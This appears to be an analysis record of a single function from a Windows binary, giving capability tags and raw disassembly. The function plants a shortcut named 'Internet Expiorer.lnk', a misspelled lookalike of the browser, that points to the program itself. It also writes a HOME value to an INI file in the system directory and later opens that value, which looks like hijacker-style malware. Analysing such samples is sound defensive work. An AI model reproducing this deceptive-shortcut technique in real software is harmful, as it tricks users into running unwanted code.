Function at 0x401670
Capabilities:
Accept command line arguments
Create process on windows
Get common file path
Read .ini file

Disassembly:
sub esp, 0xf08
push ebx
push ebp
push esi
push edi
call fcn.00401610
xor ebx, ebx
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x519]
mov byte [esp + 0x518], bl
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00401430
mov ecx, dword [esp + 0x18]
add esp, 8
cmp ecx, 1
jle 0x401726
lea edx, [eax + 4]
lea ebp, [ecx - 1]
mov eax, dword [edx]
cmp byte [eax], 0x2d
jne 0x4016f6
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x518]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [edx]
cmp byte [eax], 0x2f
jne 0x401720
lea edi, [eax + 1]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40a9e0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add edx, 4
dec ebp
jne 0x4016c2
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x719]
mov byte [esp + 0x718], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x718]
push 0x400
push ecx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x718]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xb18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x518]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4018af
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x18]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
push 0x10
push ecx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.Internet_Expiorer.lnk
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x718]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x71c]
push ecx
push edx
call fcn.004012d0
add esp, 0xc
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
push ebx
push 0x2000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x319]
mov byte [esp + 0x318], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x318]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x318]
lea edx, [esp + 0x118]
push ecx
push str._sie.ini
push edx
call fcn.004019a0
add esp, 0xc
lea eax, [esp + 0x118]
lea ecx, [esp + 0x518]
push eax
push ecx
push str.HOME
push 0x408104
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x40196f
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xb19]
mov byte [esp + 0xb18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x319]
mov byte [esp + 0x318], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x118]
push 0x200
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x118]
lea ecx, [esp + 0x318]
push eax
push str._sie.ini
push ecx
call fcn.004019a0
add esp, 0xc
lea edx, [esp + 0x318]
lea eax, [esp + 0xb18]
push edx
push 0x200
push eax
push 0x40aae0
push str.HOME
push 0x408104
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 5
push ebx
lea ecx, [esp + 0xb20]
push ebx
push ecx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.sdsd
call fcn.00401590
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xf08
ret 0x10